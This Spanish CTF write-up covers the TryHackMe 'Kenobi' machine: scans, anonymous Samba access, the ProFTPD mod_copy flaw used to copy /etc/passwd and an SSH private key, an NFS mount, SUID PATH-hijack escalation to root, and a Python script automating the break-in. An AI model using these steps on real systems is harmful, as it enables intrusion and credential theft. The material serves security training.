Hola de nuevo, la siguiente máquina que vamos a resolver es Kenobi. Seguimos en el offensive path de TryHackMe. En la descripción de la máquina nos adelanta que estaremos enumerando los archivos compartidos de Samba, seguidamente explotaremos una versión vulnerable de protfpd para finalmente escalar privilegios manipulando nuestra variable PATH.
Reconocimiento de puertos abiertos
Vamos a hacer una búsqueda de todos los puertos TCP con estado open, para luego, únicamente lanzar los scripts de enumeración a esos puertos en concreto.
nmap -p- --open --min-rate 5000 10.10.60.168 -n -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-21 09:25 CET
Nmap scan report for 10.10.60.168
Host is up (0.048s latency).
Not shown: 65330 closed tcp ports (conn-refused), 194 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
32907/tcp open unknown
33019/tcp open unknown
50693/tcp open unknown
55853/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 11.29 seconds
Tenemos la lista de puertos abiertos, ahora toca enumerar qué servicios y qué versiones corren en ellos.
nmap -p21,22,80,111,139,445,2049,32907,33019,50693,55853 -sCV 10.10.60.168 -oN kenobi.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-21 09:28 CET
Nmap scan report for 10.10.60.168
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA)
| 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA)
|_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 38808/udp mountd
| 100005 1,2,3 47297/udp6 mountd
| 100005 1,2,3 54917/tcp6 mountd
| 100005 1,2,3 55853/tcp mountd
| 100021 1,3,4 33019/tcp nlockmgr
| 100021 1,3,4 41365/tcp6 nlockmgr
| 100021 1,3,4 44169/udp6 nlockmgr
| 100021 1,3,4 56174/udp nlockmgr
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
32907/tcp open mountd 1-3 (RPC #100005)
33019/tcp open nlockmgr 1-4 (RPC #100021)
50693/tcp open mountd 1-3 (RPC #100005)
55853/tcp open mountd 1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2021-11-21T08:28:48
|_ start_date: N/A
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: kenobi
| NetBIOS computer name: KENOBI\x00
| Domain name: \x00
| FQDN: kenobi
|_ System time: 2021-11-21T02:28:48-06:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h59m58s, deviation: 3h27m50s, median: -1s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.44 seconds
Podemos ver que nos reporta bastante información, primero de todo vemos que es una máquina linux. También nos reporta que ftp, http, samba y nfs están corriendo.
Búsqueda de exploits conocidos
Si vamos por pasos, deberíamos ir mirando cada servicio qué nos ofrece. Vamos a buscar la versión de ProFTPD 1.3.5 con searchsploit.
searchsploit ProFTPD 1.3.5
Hay un exploit para Metasploit, dos scripts en python y un archivo de texto. Nosotros vamos a usar el archivo de texto.
searchsploit -x linux/remote/36742.txt
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:
---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------
He provides another, scarier example:
------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------
test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter
Source: http://bugs.proftpd.org/show_bug.cgi?id=4169
Nos indica que hay un fallo crítico haciendo uso del modulo mod_copy de proftpd, este nos permitiría hacer uso de los comandos SITE CPFR/SITECPTO para copiar archivos siendo usuarios no autenticados. Vamos a verlo.
Testeando la vulnerabildad
Primero nos conectamos al ftp haciendo uso de netcat. Luego, vamos a hacer una pequeña prueba para comprobar que es vulnerable. Sabemos que /etc/passwd existe y que el directorio /tmp existe y por norma general no hay problema de permisos para copiar archivos allí. Vamos a probar.
nc 10.10.60.168 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.60.168]
SITE CPFR /etc/passwd
350 File or directory exists, ready for destination name
SITE CPTO /tmp/passwd
250 Copy successful
Perfecto, funciona. Una vez conectado, recibimos un mensaje de bienvenida, le indicamos el CPFR para decirle qué archivo queremos copiar y luego con CPTO dónde vamos a copiar dicho archivo. Nos devuelve un mensaje de copia exitosa.
En este punto, tendríamos que hacer varias pruebas para ver como aprovecharnos de esta vulnerabilidad, recordamos que tenemos un http en el puerto 80, pero no es posible copiar en el directorio web, así que no alargaremos la entrada con más pruebas por el momento.
Enumerando samba
Siguiente paso, enumerar samba.
smbclient -L 10.10.60.168 -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
anonymous Disk
IPC$ IPC IPC Service (kenobi server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
Nos muestra los diferentes shares, vamos a intentar entrar en anonymous.
smbclient //10.10.60.168/anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 4 12:49:09 2019
.. D 0 Wed Sep 4 12:56:07 2019
log.txt N 12237 Wed Sep 4 12:49:09 2019
9204224 blocks of size 1024. 6877096 blocks available
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (66,8 KiloBytes/sec) (average 66,8 KiloBytes/sec)
smb: \>
Nos deja conectarnos sin contraseña, listamos el contenido, vemos un archivo log.txt y lo descargamos a nuestra máquina con el comando get. Vamos a echarle un vistazo.
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+
Han generado un par de claves SSH para el usuario kenobi y nos indica dónde están almacenadas, interesante. Con la vulnerabilidad de proftpd podríamos copiar la clave y traérnosla a algún lugar dónde podamos acceder.
Montando el directorio var
Recordemos que también había un NFS corriendo, vamos a enumerarlo.
showmount -e 10.10.60.168
Export list for 10.10.60.168:
/var *
Se está compartiendo el directorio entero de /var. Vamos a montarlo en nuestra máquina.
sudo mount -t nfs 10.10.60.168:/var /mnt/kenobi/
Obteniendo acceso a la máquina
Después de montar el directorio var, comprobamos que tenemos acceso a todo el directorio. Bien, sabiendo que tenemos una clave SSH del usuario kenobi en su home, que tenemos la posibildad de copiar archivos de un lugar a otro y que tenemos acceso al directorio /var, vamos a traernos dicha clave SSH al directorio /var/tmp.
Explotamos la vulnerabilidad de proftpd para traernos la id_rsa de kenobi a /var/tmp de la máquina y tenerla nosotros en nuestra montura. Toca darle permisos para poder hacer uso de esa clave y conectarnos como kenobi.
Escalada de privilegios
Y aquí estamos, ya estamos dentro de la máquina como usuario kenobi. Enumerando los SUID, nos llama la atención uno que no es por defecto y que se llama menu.
find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
Vamos a probar la funcionalidad de dicho programa.
Nos ofrece tres opciones en las que ejecuta tres comandos distintos. Lo podemos analizar con el comando strings.
El ejecutable hace referencia a comandos pero hay un error y es que no indica el path absoluto, al no indicarlo nosotros podemos abusar esa vulnerablidad manipulando el PATH.
Primero, creamos nuestro archivo que queremos ejecutar como root con el nombre ifconfig, en este caso vamos a lanzar una /bin/bash. Lo almacenamos en el directorio /tmp y le damos permisos de ejecución.
Ahora manipulamos nuestra variable PATH para que cuando ejecutemos /usr/bin/menu y le indiquemos la opción 3 que ejecutará ifconfig, apunte al directorio /tmp como primera opción y se ejecute nuestra /bin/bash.
PATH ya apunta a /tmp como primera opción. Vamos a ejecutar /usr/bin/menu y le indicamos la opción 3.
Perfecto! Somos root!! Es muy importante indicar las rutas absolutas para evitar que se pueda manipular el PATH y con ello el correcto funcionamiento del programa.
Extra
A modo de práctica para mí, he creado un script en python para automatizar la intrusión a la máquina como usuario Kenobi.
#!/usr/bin/python3
import socket,os
def main():
ip = '10.10.60.168'
port= 21
path= '/mnt/kenobi'
#Creating directory and mounting shares into it
os.system('sudo mkdir {}'.format(path))
os.system('sudo mount -t nfs {}:/var {}'.format(ip,path))
#Connecting to ftp
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print(s.recv(1024).decode())
#Exploting vulnerability and copying id_rsa
s.send(b'site cpfr /home/kenobi/.ssh/id_rsa\r\n')
print(s.recv(1024).decode())
#Exploting vulnerability and pasting id_rsa
s.send(b'site cpto /var/tmp/id_rsa\r\n')
print(s.recv(1024).decode())
s.close()
#Using id_rsa to connect via SSH
os.system('cp /mnt/kenobi/tmp/id_rsa .;chmod 700 id_rsa')
os.system('ssh -i id_rsa kenobi@{}'.format(ip))
if __name__ == "__main__":
main()
Óscar Montoya.